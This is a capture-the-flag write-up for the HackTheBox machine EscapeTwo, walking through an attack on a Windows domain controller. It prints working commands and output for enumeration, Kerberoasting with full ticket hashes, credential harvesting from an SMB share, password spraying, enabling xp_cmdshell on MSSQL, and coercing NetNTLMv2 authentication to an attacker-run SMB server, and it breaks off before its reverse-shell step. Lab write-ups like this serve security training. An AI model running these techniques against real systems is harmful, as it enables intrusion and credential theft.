SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled 
SeCreateGlobalPrivilege                   Create global objects                                              Enabled 
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
PS C:\Windows\system32>

Root.txt

PS C:\Windows\system32> cd c:\users\administrator\desktop
cd c:\users\administrator\desktop

PS C:\users\administrator\desktop> Get-Content root.txt
Get-Content root.txt
b7ac74b06********************

HTB – EscapeTwo

HTB – EscapeTwo

by | May 24, 2025 | Writeups

https://www.hackthebox.com/machines/EscapeTwo

Reconnaissance

Given Credentials

As it is common in real life windows pentests, we’re given a set of credentials to start:

rose / KxEPkKe6R8su

nmap/TCP

nmap detected a bunch of ports being open which is typical for a Domain Controller:

croc@hacker$ rustscan -a 10.10.11.51 --ulimit 5000 -- -A -T5 -Pn -oA Initial
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.51:53
Open 10.10.11.51:88
Open 10.10.11.51:139
Open 10.10.11.51:135
Open 10.10.11.51:389
Open 10.10.11.51:464
Open 10.10.11.51:445
Open 10.10.11.51:593
Open 10.10.11.51:636
Open 10.10.11.51:1433
Open 10.10.11.51:3269
Open 10.10.11.51:3268
Open 10.10.11.51:5985
Open 10.10.11.51:9389
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -T5 -Pn -oA Initial -vvv -p 53,88,139,135,389,464,445,593,636,1433,3269,3268,5985,9389 10.10.11.51

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 05:28 EST
Nmap scan report for 10.10.11.51
Host is up, received user-set (0.43s latency).
Scanned at 2025-01-14 05:28:28 EST for 76s

PORT     STATE    SERVICE        REASON      VERSION
53/tcp   filtered domain         no-response
88/tcp   open     kerberos-sec   syn-ack     Microsoft Windows Kerberos (server time: 2025-01-14 10:28:44Z)
135/tcp  open     msrpc          syn-ack     Microsoft Windows RPC
139/tcp  open     netbios-ssn    syn-ack     Microsoft Windows netbios-ssn
389/tcp  open     ldap           syn-ack     Microsoft Windows Active Directory LDAP 
|_ssl-date: 2025-01-14T10:38:18+00:00; +5s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after:  2025-06-08T17:35:00
| MD5:   09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
464/tcp  open     kpasswd5?      syn-ack
593/tcp  open     ncacn_http     syn-ack     Microsoft Windows RPC over HTTP 1.0
636/tcp  open     ssl/ldap       syn-ack     Microsoft Windows Active Directory LDAP 
1433/tcp open     ms-sql-s       syn-ack     Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.51:1433: 
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.51:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-14T10:04:21
| Not valid after:  2055-01-14T10:04:21
| MD5:   476a:4f89:0d42:a766:8e26:4556:d99b:5ee2
| SHA-1: 6d9a:8222:9485:11e0:e510:7070:622a:b20c:de49:3318
|_ssl-date: 2025-01-14T10:29:43+00:00; +4s from scanner time.
3268/tcp open     ldap           syn-ack     Microsoft Windows Active Directory LDAP 
3269/tcp open     ssl/ldap       syn-ack     Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after:  2025-06-08T17:35:00
| MD5:   09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
|_ssl-date: 2025-01-14T10:29:43+00:00; +5s from scanner time.
5985/tcp open     http           syn-ack     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open     mc-nmf         syn-ack     .NET Message Framing
49665/tcp open    msrpc          syn-ack     Microsoft Windows RPC
49666/tcp open    msrpc          syn-ack     Microsoft Windows RPC
49667/tcp open    msrpc          syn-ack     Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 14 05:38:14 2025 -- 1 IP address (1 host up) scanned in 111.16 seconds

We can see DC01.sequel.htb from output of multiple ports, so let’s add that into the hosts file:

croc@hacker:~$ sudo sed -i '$a10.10.11.51\tDC01.sequel.htb sequel.htb' /etc/hosts

Enumerating Users & Groups

I like to start with a brief overview of the environment & analyzing the attack surface.

Way#1: Ldapdomaindump

croc@hacker$ sudo /usr/bin/ldapdomaindump ldaps://10.10.11.51 -u 'SEQUEL\rose' -p KxEPkKe6R8su
[sudo] password for croc: 
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
                                                                                                                         
croc@hacker$ ls
domain_computers_by_os.html  domain_groups.grep  domain_policy.html  domain_trusts.json          domain_users.json
domain_computers.grep        domain_groups.html  domain_policy.json  domain_users_by_group.html
domain_computers.html        domain_groups.json  domain_trusts.grep  domain_users.grep
domain_computers.json        domain_policy.grep  domain_trusts.html  domain_users.html

This gave me a clear understanding of each user & group on the target.

The ca_svc account may present an opportunity for AD CS exploitation.

Way#2: RID Brute Forcing

I used nxc to do rid brute forcing which revealed all users and groups. Following is the list of all users:

croc@hacker$ nxc smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --rid-brute | grep 'SidTypeUser'

SMB                      10.10.11.51     445    DC01             500: SEQUEL\Administrator (SidTypeUser)
SMB                      10.10.11.51     445    DC01             501: SEQUEL\Guest (SidTypeUser)
SMB                      10.10.11.51     445    DC01             502: SEQUEL\krbtgt (SidTypeUser)
SMB                      10.10.11.51     445    DC01             1000: SEQUEL\DC01$ (SidTypeUser)
SMB                      10.10.11.51     445    DC01             1103: SEQUEL\michael (SidTypeUser)
SMB                      10.10.11.51     445    DC01             1114: SEQUEL\ryan (SidTypeUser)
SMB                      10.10.11.51     445    DC01             1116: SEQUEL\oscar (SidTypeUser)
SMB                      10.10.11.51     445    DC01             1122: SEQUEL\sql_svc (SidTypeUser)
SMB                      10.10.11.51     445    DC01             1601: SEQUEL\rose (SidTypeUser)
SMB                      10.10.11.51     445    DC01             1607: SEQUEL\ca_svc (SidTypeUser)

BloodHound

I dumped the .json files using the Python BloodHound Ingestor and fed that into bloodhound:

croc@hacker$ python3 -m bloodhound -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' -ns 10.10.11.51 -c all
INFO: Found AD domain: sequel.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.sequel.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 10 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.sequel.htb
INFO: Done in 03M 11S
                                                                                                                         
croc@hacker:~/HTB/Escapetwo/bloodhound$ ls
20250113011955_computers.json   20250113011955_domains.json  20250113011955_groups.json  20250113011955_users.json
20250113011955_containers.json  20250113011955_gpos.json     20250113011955_ous.json

I found a pair of kerberoastable users in here so my next step would be to try kerberoasting. (Although that didn’t work out!)

Kerberoastable Users

Kerberoasting

Service Tickets

I got the service tickets for two accounts: sql_svc & ca_svc

croc@hacker$ sudo GetUserSPNs.py sequel.htb/rose:KxEPkKe6R8su -dc-ip 10.10.11.51 -request
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName     Name     MemberOf                                              PasswordLastSet             LastLogon                   Delegation 
-----------------------  -------  ----------------------------------------------------  --------------------------  --------------------------  ----------
sequel.htb/sql_svc.DC01  sql_svc  CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb  2024-06-09 03:58:42.689521  2025-01-12 23:26:05.983892             
sequel.htb/ca_svc.DC01   ca_svc   CN=Cert Publishers,CN=Users,DC=sequel,DC=htb          2025-01-13 00:37:29.031690  2025-01-13 00:23:35.109810             



$krb5tgs$23$*sql_svc$SEQUEL.HTB$sequel.htb/sql_svc*$6d851aabd7c1d504a056a04a91b3a743$e309b25a00614a008a97b1a52af28f80cfe690bf9c7e758907735ba264c67f8ca88f877f51c4755e591f9296d17a2c664c3a90cbbc7a66da6c2a9e3e32450dadcec879972ec5160954ee13448f73408483e71fd7f30705a29dbaa944dbe4ff893533082cd11e31bdbf392308d066e52ec43c9ce4796624f618f23fb579ef6c32ccb533a3a5dec204c690fc584914b2256425de8c60a2178f9f00ff9ecae76f45bf37ae02a29fa1efbf2d6868052ef47a8800570652509ddcfa874650fb3733ea502a6b0c29860e60553aa88d3fb9cecdcfe770183844cfb06842e5da4e4d9d9db76ad1d735054b9874d4ce46e2e727914fef26119c71c294d576ed10bc76d52f3ff9422b1e4047401afd539f54cc1171338b5fde401bd227e7ac7eaa9194bb0907bfc26a3de5defcb5720e6f73532f16be5898ca89fb44bce57f13d6d87f004bcb4771a0c1a74efa7762c2936cb91a2226152543211db62b6487cf3a1f8e3e4370a250226c596f30a3405847c724852b1dcbfa49ea1de6ee6bb34b801d117bcf0db08056cb72de9ece0dbc7f6d19ad61ffba190e88984947f35bdb77c39d2c9fa45b1c5224974865bd83fb030380195b36d9b5d7701baac57402674ec34cbbcc9a39507d1cd30a7da40e4b1b6cab72525eb9c293f71713aa100827008d1ef09944d6f4f5a8ced6c2867df5bc22ab8ae7bdb37badf1f10ae9fa07014d519f21afab4de7ccdd21a55a21a132efb57e8cb5b8c6f27efc57bf9d29b9e32709ce4c8046117f81d489042c78df53617ae7ac2526724c78a620c260267d1458566e8ef3f077df5601ce91e08470ad386e4e636f43158ebc6857ef252a326f3d434f5b75da3a9a83c32bb3c6c867c58664e329d331bd88286de80bb1f41e8a88d4764ca47a68595be3485e5b806095654df5e237887e22983837bb7ad917d66c1923fb4874c682c9b208d2cbd680c090674adaf3e4b21d345d3d26d39dbe5b2bc63cf9dffa86703aa579828179589ad835d258b89a9c63cba2703c7475687c164e0d5a81a8bb270d40843583a14248642a297d685eea26e9228ab38ae87dab9f3a4ed940cc71d211cb384a41ea4a97d98c4007e6a56192290d314bede72918912ff0c1f639c2c51640eeb30d00cfb8df089de6dc000f44f4875b7d86796b591dbbf893041ecdfd67fc948880b9e1f3f098d8098a23adddb8651f958d30c6c0fe5adc9ea95efafb169bb7f22996fe602602988e36c06ff786052d94a18490e61f50650940f20a461a230da5fe997441bb3bb65cf5daba04f0a3bcaac93b01c57cd2eecfc3ba2e8a1490182380002806b3b33ac70efcec87c8b14022d21d392d20bb78431cbb8e06c66a08f8eb9ae4f0d1d641140c645bbd9aa36fb80aa2090a19ed0fbb735ff7f685c8bf06123f642689b925e5
$krb5tgs$23$*ca_svc$SEQUEL.HTB$sequel.htb/ca_svc*$ad01807792c99faa861f2683fa0aa105$9d11f94ac9cca28578defc46d8395f1fcfde6b48b35cad8f826f326655c712324b01438bfe29b5eb891218f6bb9d1a9e9cf6782e33cf6ef0712af7ba833999e8d2712b9de5c7191e8dbaf39b8c35f3bdf4ab17ae8a736ddb6af15a901106026b94e28cbbe224fe129cd0017c5f140718080ae9816c81ecf97366a5302d6a960e5631fd2d653b5e9878fe5cff83aa48ecc5d47b84ca81aa394484b1e7c9b653a30bf99ffb19c1c8db3a624250c5ff8aac38b985af333932e2bd8ac89fc7a10d645eda5ea58e1997dcc63d7ff371f81dc37bacdcbb46c38ee292e834c5ef1e409c1d8176ad2a00e5339ef43e7252c29a8f79c80e35c4827f9067d5c9233e9cf8d7393f9fb4965189c66f7d8aac66ce55cd26b3fbbb2fb35029f9f3f6a9f7fb5b346bc992dcee03f14ae837543a3aa4cbe18b98419460c882932efba00ce00ff2d6bb7a2980618cf120310ee963fdb997ca29cc4c226c7fe8ddb0433a48b243b957f3b5ca9926c763030ef5c2e004ae5549478a5e29e281717ea361d209b78be63a5227401ae9f896c65eed52c6c67655e87a8d88bf9763122f7ba494ea9fb59fe98825f7e6402009b64138d69f6784c44c2e1886b8e277372425c4fbbf07323029bd1af33b13c6c5a43c58298f0d8eef8198451f3c8a00c57d4365d7e6ec1813d97cb8eba7e13db41bd7e73e92ac8342a105ce25b9480674eb94eb08abfc18b661184c29b25fdb44e070463918e40a1f7119b9019688b2dd345a31de34d7bb2eeafc9158369c4228779b26a82ffde26682658c4af8bb25143875e3ffd2a4e2f02f97036cf0abf583f8624f816fb9b6b9529d541518d0864d7268198c99d6d43730eb6578dbaab79d2f09985fb09fc387814be97d35caf5db46ca33af75f8ee5601d232acc0e51a7f9179210478212ff21a7abfd9d0f3895d9b3293178fc7201c23b781db2ab16235c5b44a29194a1fe1ef1051ed15e2f21c8005feb95c76fc5f3abdb60bb1bf7b604caadcda61e35b8f067ec4898668f4d723c27828e95729f4ab8a18ccae71d53c65495665d3b0a865400619a0289129b84f2282ae1f66ea1b895ca8e4e50504cfc65f10e303b0c6230f2b319d769d43ba68a8d283c8672532cc6b16b3a14e651a024c191d8c546cf25b03518005dda23899ec77245210308ea5d82eab339f371fd5a273e21e6a6c8c83ac7b1f4916713427de59754470134567e58649bfe6f3255efb3f05bfe0a948783b253b38e214943d567fff1cc6907b77aace33b7449c0ead35ee9e07050df980b2868494ccd292ec4e3e4bc92d75c5abe308ea48af67d139b15433174debd3ef7f90cf9205fde5fc05ae6b60b91790a589b9d7c2a2c2afa351fabaa079effec2bd7a562a608f10a0bfc7e04576a33078e5be88b101ef4fc8a3f4f48326b976

Cracking the Hashes

You can look up for the required hashcat module in the following way. 13100 is the one we’re going to be using here.

croc@hacker$ hashcat --help | grep Kerberos
  19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol
  19800 | Kerberos 5, etype 17, Pre-Auth                             | Network Protocol
  28800 | Kerberos 5, etype 17, DB                                   | Network Protocol
  19700 | Kerberos 5, etype 18, TGS-REP                              | Network Protocol
  19900 | Kerberos 5, etype 18, Pre-Auth                             | Network Protocol
  28900 | Kerberos 5, etype 18, DB                                   | Network Protocol
   7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth                      | Network Protocol
  13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol
  18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol

I saved the hashes into a kerb.txt file and tried to crack them but unfortunately it didn’t crack.

croc@hacker$ hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

Now, it’s time to look at other things. I saw SMB being open on the target. Let’s try to get a SMB shell as rose.

SMB – 139/445

Impacket-Smbclient

We have a share named Accounting Department in which I found two files: accounts.xlsx and accounting_2024.xlsx

croc@hacker$ impacket-smbclient sequel.htb/rose:'KxEPkKe6R8su'@10.10.11.51 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# shares
Accounting Department
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
Users
# use Accounting Department
# ls
drw-rw-rw-          0  Sun Jun  9 07:11:31 2024 .
drw-rw-rw-          0  Sun Jun  9 07:11:31 2024 ..
-rw-rw-rw-      10217  Sun Jun  9 07:11:31 2024 accounting_2024.xlsx
-rw-rw-rw-       6780  Sun Jun  9 07:11:31 2024 accounts.xlsx
# mget *
[*] Downloading accounting_2024.xlsx
[*] Downloading accounts.xlsx

Unzipping Files

I downloaded both the files which upon seeing seems to be excel files but if we look at the file types, they’re actually .zip files and we can just use the standard unzip tool to extract the archive data.

croc@hacker:~$ file accounting_2024.xlsx accounts.xlsx
accounting_2024.xlsx: Zip archive data, made by v4.5, extract using at least v2.0, last modified, last modified Sun, Jan 01 1980 00:00:00, uncompressed size 1284, method=deflate
accounts.xlsx:        Zip archive data, made by v2.0, extract using at least v2.0, last modified, last modified Sun, Jun 09 2024 10:47:44, uncompressed size 681, method=deflate
                                                                                                                         
croc@hacker:~$ mkdir accounts accounting_2024
                                                                                                                         
croc@hacker:~$ unzip accounts.xlsx -d accounts
Archive:  accounts.xlsx
file 1:  bad zipfile offset (local header sig):  0
  inflating: accounts/xl/workbook.xml  
  inflating: accounts/xl/theme/theme1.xml  
  inflating: accounts/xl/styles.xml  
  inflating: accounts/xl/worksheets/_rels/sheet1.xml.rels  
  inflating: accounts/xl/worksheets/sheet1.xml  
  inflating: accounts/xl/sharedStrings.xml  
  inflating: accounts/_rels/.rels    
  inflating: accounts/docProps/core.xml  
  inflating: accounts/docProps/app.xml  
  inflating: accounts/docProps/custom.xml  
  inflating: accounts/[Content_Types].xml  
                                                                                                                         
croc@hacker:~$ unzip accounting_2024.xlsx -d accounting_2024 
Archive:  accounting_2024.xlsx
file 1:  bad zipfile offset (local header sig):  0
  inflating: accounting_2024/_rels/.rels  
  inflating: accounting_2024/xl/workbook.xml  
  inflating: accounting_2024/xl/_rels/workbook.xml.rels  
  inflating: accounting_2024/xl/worksheets/sheet1.xml  
  inflating: accounting_2024/xl/theme/theme1.xml  
  inflating: accounting_2024/xl/styles.xml  
  inflating: accounting_2024/xl/sharedStrings.xml  
  inflating: accounting_2024/xl/worksheets/_rels/sheet1.xml.rels  
  inflating: accounting_2024/xl/printerSettings/printerSettings1.bin  
  inflating: accounting_2024/docProps/core.xml  
  inflating: accounting_2024/docProps/app.xml

I extracted the two files into two separate directories for the ease of enumeration & good organization.

Searching for Credentials

I used grep to look for passwords and found a keyword of “password” inside of the sharedStrings.xml file:

croc@hacker$ grep --color=auto -rnw '.' -ie "password" --color=always 2> /dev/null
          
./accounts/xl/sharedStrings.xml:2:<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst>

We found the following credentials: (Refined Form)

UsernamePassword
angela0fwz7Q4mSpurIt99
oscar86LxLBMgEWaKUnBG
kevinMd9Wlq1E5bZnVDVo
saMSSQLP@ssw0rd!

Validating the Found Credentials

Note that the user sa was not found under the domain accounts we enumerated initially. What is sa by default?

The sa user in an Active Directory (AD) or Windows environment typically refers to the SQL Server System Administrator account. The SQL Server has two authentication modes:

  • Windows Authentication: Uses AD credentials.
  • SQL Server Authentication: Uses specific SQL accounts like sa.

That’s why, I didn’t include sa in validation via nxc but I left it’s password in the passwords.txt file in case it is being reused.

croc@hacker$ nxc smb 10.10.11.51 -u users.txt -p passwords.txt --continue-on-success 
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [-] SEQUEL\michael:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\ryan:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\oscar:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\sql_svc:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\rose:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\ca_svc:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\michael:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\ryan:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [+] SEQUEL\oscar:86LxLBMgEWaKUnBG 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\sql_svc:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\rose:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE  
SMB         10.10.11.51     445    DC01             [-] SEQUEL\ca_svc:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\michael:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\ryan:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\sql_svc:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\rose:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\ca_svc:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\michael:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\ryan:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\sql_svc:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\rose:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\ca_svc:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE

So we only have one valid set of credential which is of oscar. However, he is a low-privileged user and didn’t benefit me in any way. Now, what???

💡 Think Box

We have mssql being open on port 1433/tcp so we can attempt to gain a shell using impacket-mssqlclient as the sa user with it’s password of ‘MSSQLP@ssw0rd!‘ which we found above.

Shell as sql_svc

MSSQL Authentication – 1433/tcp

impacket-mssqlclient

I gained shell access as the sa user:

croc@hacker$ impacket-mssqlclient sequel.htb/sa:'MSSQLP@ssw0rd!'@10.10.11.51              
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (sa  dbo@master)>

Now from here, I can think of two possibilities:

  1. Capture a NetNTLMv2 hash and try to crack it.(Didn’t work here!)
  2. Reverse Shell

I will be doing both of them here.

Capturing a NetNTLMv2 Hash & Cracking it

Step#1: Set up a Rogue SMB Server

I set up a SMB server using impacket-smbserver on my kali machine for the purpose of capturing the hash. Note that you can also use responder on tun0 interface to capture the hash.

croc@hacker:~$ sudo impacket-smbserver -smb2support supportmeonpatreon $PWD
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Step#2: Point the SQL Server to our machine

I pointed the SQL Server to the SMB Server running on my Kali Machine:

SQL (sa  dbo@master)> enable_xp_cmdshell
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL (sa  dbo@master)> xp_cmdshell dir \\10.10.16.32\supportmeonpatreon
output                                                                             

--------------------------------------------------------------------------------   

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.   

NULL                                                                               

SQL (sa  dbo@master)>

You can also use xp_dirtree \\10.10.16.32\supportmeonpatreon in order to point the server to your machine. Both of these commands will get the service to try and access the folder at the UNC path in order to list its contents. It will authenticate to it giving out a hash.

However, xp_dirtree is quieter than that of xp_cmdshell dir.

Step#3: Hash Captured

The hash has been captured:

croc@hacker:~$ sudo impacket-smbserver -smb2support supportmeonpatreon $PWD 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.51,49998)
[*] AUTHENTICATE_MESSAGE (SEQUEL\sql_svc,DC01)
[*] User DC01\sql_svc authenticated successfully
[*] sql_svc::SEQUEL:aaaaaaaaaaaaaaaa:893011cf387bb82babf8d05144f7e8ad:0101000000000000000cb6b7b066db011f27fbe6c84a0c3c000000000100100074006f005800630075005400720063000300100074006f005800630075005400720063000200100066006f004500770055006a0068004a000400100066006f004500770055006a0068004a0007000800000cb6b7b066db0106000400020000000800300030000000000000000000000000300000e36af63f9b3826ee6285de21352282a97ec25d1b6ce9c77ca431b240862f3f190a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00330032000000000000000000
[*] Closing down connection (10.10.11.51,49998)
[*] Remaining connections []

Step#4: Cracking the Hash

1. I saved the hash into a file named netNTLMv2_hash.txt:

2. Furthermore, I used hashcat to crack the hash:

croc@hacker$ hashcat --help | grep NTLM                                    
   5500 | NetNTLMv1 / NetNTLMv1+ESS                                  | Network Protocol
  27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                             | Network Protocol
   5600 | NetNTLMv2                                                  | Network Protocol
  27100 | NetNTLMv2 (NT)                                             | Network Protocol
   1000 | NTLM                                                       | Operating System

croc@hacker$ hashcat -m 5600 netNTLMv2_hash.txt /usr/share/wordlists/rockyou.txt 
Session..........: hashcat                                
Status...........: Exhausted
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: SQL_SVC::SEQUEL:aaaaaaaaaaaaaaaa:9e835981de5c505539...000000
Time.Started.....: Tue Jan 14 13:41:57 2025 (1 min, 6 secs)
Time.Estimated...: Tue Jan 14 13:43:03 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   230.3 kH/s (1.40ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2121216a696d212121] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 43%

Started: Tue Jan 14 13:41:48 2025
Stopped: Tue Jan 14 13:43:05 2025

3. However, that didn’t crack so let’s move on to the second possibility.

